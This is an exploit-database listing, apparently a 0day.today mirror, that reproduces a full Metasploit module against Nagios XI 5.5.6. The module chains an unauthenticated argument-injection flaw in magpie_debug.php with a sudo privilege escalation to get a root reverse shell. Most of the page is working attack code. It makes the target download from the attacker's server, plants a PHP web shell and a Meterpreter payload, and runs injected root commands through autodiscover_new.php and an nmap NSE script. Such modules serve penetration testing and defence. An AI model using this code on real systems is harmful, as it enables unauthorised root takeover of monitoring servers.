Lucene search

K
zdtMetasploit1337DAY-ID-32911
HistoryJun 26, 2019 - 12:00 a.m.

Nagios XI Magpie_debug.php Root Remote Code Execution Exploit

2019-06-2600:00:00
metasploit
0day.today
2083

EPSS

0.431

Percentile

97.4%

This Metasploit module exploits two vulnerabilities in Nagios XI 5.5.6. One allows for unauthenticated remote code execution and another allows for local privilege escalation. When combined, these two vulnerabilities give us a root reverse shell.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "Nagios XI Magpie_debug.php Root Remote Code Execution",
      'Description'    => %q{
         This module exploits two vulnerabilities in Nagios XI 5.5.6:
         CVE-2018-15708 which allows for unauthenticated remote code execution
         and CVE 2018–15710 which allows for local privilege escalation.
         When combined, these two vulnerabilities give us a root reverse shell.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Lyne (@lynerc)', # First working exploit
          'Guillaume AndrΓ© (@yaumn_)' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2018-15708'],
          ['CVE', '2018-15710'],
          ['EDB', '46221'],
          ['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
          ['URL', 'https://www.tenable.com/security/research/tra-2018-37']
        ],
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          ['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 443,
          'SSL' => true
        },
      'Privileged'     => false,
      'DisclosureDate' => "2018-11-14",
      'DefaultTarget'  => 0
     ))

    register_options(
      [
        OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
        OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
        OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])
      ])

    @WRITABLE_PATHS = [
      ['/usr/local/nagvis/share', '/nagvis'],
      ['/var/www/html/nagiosql',  '/nagiosql']
    ]
    @writable_path_index = 0
    @MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
    @session_opened = false
    @webshell_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    @nse_name = "#{Rex::Text.rand_text_alpha(10)}.nse"
    @meterpreter_name = Rex::Text.rand_text_alpha(10)
  end

  def on_request_uri(cli, req)
    if @current_payload == @webshell_name
      send_response(cli, '<?php system($_GET[\'cmd\'])?>')
    else
      send_response(cli, generate_payload_exe)
    end
  end

  def primer
    res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => normalize_uri(@MAGPIERSS_PATH),
        'vars_get' => {
          'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " +
          '-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}"
        }
      }, 5)

    if !res || res.code != 200
      print_error('Couldn\'t send malicious request to target.')
    end
 end

  def check_upload
    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri'    => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
      }, 5)
    if res && res.code == 200
      print_status("#{@current_payload} uploaded with success!")
      return true
    else
      print_error("Couldn't upload #{@current_payload}.")
      return false
    end
  end

  def check
    res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => normalize_uri(@MAGPIERSS_PATH)
      }, 5)

    if res && res.code == 200
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    all_files_uploaded = false

    # Upload useful files on the target
    for i in [emailΒ protected]_PATHS.size
      @writable_path_index = i
      for filename in [@webshell_name, @meterpreter_name]
        @current_payload = filename
        begin
          Timeout.timeout(datastore['HTTPDELAY']) { super }
        rescue Timeout::Error
          if !check_upload
            break
          elsif filename == @meterpreter_name
            all_files_uploaded = true
          end
        end
      end
      if all_files_uploaded
        break
      end
    end

    meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"

    register_file_for_cleanup(
      "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}",
      meterpreter_path,
      "/var/tmp/#{@nse_name}"
    )

    # Commands to escalate privileges, some will work and others won't
    # depending on the Nagios version
    cmds = [
      "chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
      "components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
      "echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/#{@nse_name} " \
      "&& sudo nmap --script /var/tmp/#{@nse_name}"
   ]

    # Try to launch root shell
    for cmd in cmds
      res = send_request_cgi(
        {
          'uri'     => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
          'method'  => 'GET',
          'vars_get' => {
            'cmd' => cmd
          }
        }, 5)

      if !res && session_created?
        break
      end
      print_status('Couldn\'t get remote root shell, trying another method')
    end
  end
end